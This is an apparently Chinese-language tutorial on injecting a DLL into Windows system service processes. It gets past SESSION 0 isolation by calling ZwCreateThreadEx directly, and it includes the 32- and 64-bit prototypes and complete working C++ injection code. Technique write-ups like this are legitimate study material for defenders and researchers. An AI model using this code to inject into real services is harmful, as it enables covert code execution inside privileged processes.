前言:
之前提到,由於SESSION 0隔離機制,導致傳統遠程線程注入系統服務進程失敗。經過前人的不斷逆向探索,發現直接調用 ZwCreateThreadEx 函數將其第7個參數 CreateSuspended(CreateThreadFlags)的值置為零可以進行遠程線程注入,還可以突破 SESSION 0隔離,成功注入。
實現原理:
與傳統的CreateRemoteThread函數實現的遠線程注入DLL的唯一區別在於,突破SESSION 0遠線程注入技術是使用比CreateRemoteThread函數更為底層的ZwCreateThreadEx函數來創建遠線程,CreateRemoteThread 之所以注入失敗,是因為引入了會話隔離機制。該機制使得其創建一個進程之后並不會立即運行,而是先掛起進程,在查看要運行的進程所在的會話層之后再決定是否恢復進程運行。跟蹤發現 CreateRemoteThread 函數 ,發現內部調用 ZwCreateThreadEx 函數創建遠程線程的時候,第七個參數 CreateSuspended(CreateThreadFlags)值為1,它會導致線程創建完成后一直掛起無法恢復運行,這就是為什么DLL注入失敗的原因。所以,要想使系統服務進程遠線程注入成功,只需要直接調用ZwCreateThreadEx函數,將第七個參數CreateSuspended(CreateThreadFlags)的值置為零,這樣線程創建完成后就會恢復運行,成功注入。
注意:由於 ZwCreateThreadEx 在 ntdll.dll並沒有聲明,所以需要自己聲明函數原型,並使用 GetProcAddress 從 ntdll.dll 中獲取該函數的導出地址。而64位與32位系統下,ZwCreateThreadEx函數原型不一樣。
由於會話隔離,系統服務程序不能顯示程序窗體,所以並不會因為MessageBox彈窗。也不能用常規方式創建用戶進程。為了解決服務層和用戶層的交互問題,微軟專門提供了一系列以WTS(Windows Terminal Service)開頭的函數來實現這些功能。
//64位系統下 DWORD WINAPI ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown ); //32位系統下 DWORD WINAPI ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown );
實現代碼:
BOOL CInjectDlg::ZwCreateThreadExInjectDll(DWORD dwProcessId, char* pszDllFileName) { // 1.打開目標進程 HANDLE hProcess = OpenProcess( PROCESS_ALL_ACCESS, // 打開權限 FALSE, // 是否繼承 dwProcessId); // 進程PID if (NULL == hProcess) { MessageBox(L"打開目標進程失敗!"); return FALSE; } // 2.在目標進程中申請空間 LPVOID lpPathAddr = VirtualAllocEx( hProcess, // 目標進程句柄 0, // 指定申請地址 strlen(pszDllFileName) + 1, // 申請空間大小 MEM_RESERVE | MEM_COMMIT, // 內存的狀態 PAGE_READWRITE); // 內存屬性 if (NULL == lpPathAddr) { MessageBox(L"在目標進程中申請空間失敗!"); CloseHandle(hProcess); return FALSE; } // 3.在目標進程中寫入Dll路徑 if (FALSE == WriteProcessMemory( hProcess, // 目標進程句柄 lpPathAddr, // 目標進程地址 pszDllFileName, // 寫入的緩沖區 strlen(pszDllFileName) + 1, // 緩沖區大小 NULL)) // 實際寫入大小 { MessageBox(L"目標進程中寫入Dll路徑失敗!"); CloseHandle(hProcess); return FALSE; } //4.加載ntdll.dll HMODULE hNtdll = LoadLibrary(L"ntdll.dll"); if (NULL == hNtdll) { MessageBox(L"加載ntdll.dll失敗!"); CloseHandle(hProcess); return FALSE; } //5.獲取LoadLibraryA的函數地址 //FARPROC可以自適應32位與64位 FARPROC pFuncProcAddr = GetProcAddress(GetModuleHandle((LPCWSTR)L"kernel32.dll"), "LoadLibraryA"); if (NULL == pFuncProcAddr) { MessageBox(L"獲取LoadLibrary函數地址失敗!"); CloseHandle(hProcess); return FALSE; } //6.獲取ZwCreateThreadEx函數地址,該函數在32位與64位下原型不同 //_WIN64用來判斷編譯環境 ,_WIN32用來判斷是否是Windows系統 #ifdef _WIN64 typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, ULONG CreateThreadFlags, SIZE_T ZeroBits, SIZE_T StackSize, SIZE_T MaximumStackSize, LPVOID pUnkown ); #else typedef DWORD(WINAPI* typedef_ZwCreateThreadEx)( PHANDLE ThreadHandle, ACCESS_MASK DesiredAccess, LPVOID ObjectAttributes, HANDLE ProcessHandle, LPTHREAD_START_ROUTINE lpStartAddress, LPVOID lpParameter, BOOL CreateSuspended, DWORD dwStackSize, DWORD dw1, DWORD dw2, LPVOID pUnkown ); #endif typedef_ZwCreateThreadEx ZwCreateThreadEx = (typedef_ZwCreateThreadEx)GetProcAddress(hNtdll, "ZwCreateThreadEx"); if (NULL == ZwCreateThreadEx) { MessageBox(L"獲取ZwCreateThreadEx函數地址失敗!"); CloseHandle(hProcess); return FALSE; } //7.在目標進程中創建線程 HANDLE hRemoteThread = NULL; DWORD dwStatus = ZwCreateThreadEx(&hRemoteThread, PROCESS_ALL_ACCESS, NULL, hProcess, (LPTHREAD_START_ROUTINE)pFuncProcAddr, lpPathAddr, 0, 0, 0, 0, NULL); if (NULL == hRemoteThread) { MessageBox(L"目標進程中創建線程失敗!"); CloseHandle(hProcess); return FALSE; } // 8.等待線程結束 WaitForSingleObject(hRemoteThread, -1); // 9.清理環境 VirtualFreeEx(hProcess, lpPathAddr, 0, MEM_RELEASE); CloseHandle(hRemoteThread); CloseHandle(hProcess); FreeLibrary(hNtdll); return TRUE; }